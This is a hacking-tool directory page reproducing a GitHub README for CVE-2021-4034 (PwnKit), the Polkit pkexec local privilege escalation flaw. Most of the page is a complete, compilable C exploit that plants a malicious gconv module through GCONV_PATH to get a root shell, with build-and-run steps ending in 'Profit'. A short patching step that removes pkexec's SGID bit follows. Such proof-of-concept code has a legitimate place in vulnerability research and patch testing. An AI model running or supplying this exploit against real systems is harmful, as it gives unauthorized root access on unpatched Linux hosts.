Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-4034 — Proof-of-concept exploit for Polkit's pkexec local privilege escalation vulnerability (CVE-2021-4034), including a working exploit and patching instructions. | Kitploit
Tools/GitHubGitHub/pombredanne/cve-2021-4034
Privilege EscalationVulnerability AnalysisExploitationPenetration TestingLearning & EducationRed Teaming
GitHubpombredanne/cve-2021-4034

CVE-2021-4034

Proof-of-concept exploit for Polkit's pkexec local privilege escalation vulnerability (CVE-2021-4034), including a working exploit and patching instructions.

View Repository
24 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2021-4034

Polkit's Pkexec CVE-2021-4034 Proof Of Concept and Patching

  • Confirmed on fully patched Ubuntu 21.10
  • PoC
  • Patching

https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

Confirmed on fully patched Ubuntu 21.10:

PoC:

root@kitploit:~
/* Compile: gcc polkit_PoC.c -o PwnKit
* Change perms: chmod +x ./PwnKit
* Profit: ./PwnKit
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell = 
	"#include <stdio.h>\n"
	"#include <stdlib.h>\n"
	"#include <unistd.h>\n\n"
	"void gconv() {}\n"
	"void gconv_init() {\n"
	"	setuid(0); setgid(0);\n"
	"	seteuid(0); setegid(0);\n"
	"	system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"
	"	exit(0);\n"
	"}";

int main(int argc, char *argv[]) {
	FILE *fp;
	system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
	system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");
	fp = fopen("pwnkit/pwnkit.c", "w");
	fprintf(fp, "%s", shell);
	fclose(fp);
	system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
	char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };
	execve("/usr/bin/pkexec", (char*[]){NULL}, env);
}

Patching:

Remove SGID from /usr/bin/pkexec

root@kitploit:~
cd /usr/bin && sudo chmod 0755 ./pkexec
Download Tool